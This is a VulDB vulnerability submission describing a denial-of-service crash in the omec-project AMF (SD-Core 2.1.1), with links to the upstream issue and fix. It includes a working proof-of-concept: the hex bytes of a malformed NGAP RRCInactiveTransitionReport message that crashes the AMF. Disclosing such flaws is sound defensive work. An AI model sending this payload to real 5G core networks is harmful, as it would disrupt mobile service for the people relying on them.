| Title | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Description | If a malformed RRCInactiveTransitionReport is sent to AMF, it crashes and causes denial of service.
AMF Version: v2.1.1,
Reproduction Step:
Send this following RRCInactiveTransitionReport NGAP message
00 25 40 2E 80 00 03 00 0A 80 06 80 DF 53 BA 38 2D 00 00 00 05 C0 FA D5 D2 67 00 5C 40 01 40 00 79 00 0F 30 59 73 F1 FA 55 AB 04 79 65 CF C4 00 00 07
Issue Reported: https://github.com/omec-project/amf/issues/676
Issue Fixed: https://github.com/omec-project/amf/pull/666
Update to latest version. |
|---|
| Source | ⚠️ https://github.com/omec-project/amf/issues/676 |
|---|
| User | shovon0203 (UID 96191) |
|---|
| Submission | 06/01/2026 21:33 (1 month ago) |
|---|
| Moderation | 07/03/2026 19:01 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 376139 [omec-project amf up to 2.1.1 NGAP Message RRCInactiveTransitionReport denial of service] |
|---|
| Points | 20 |
|---|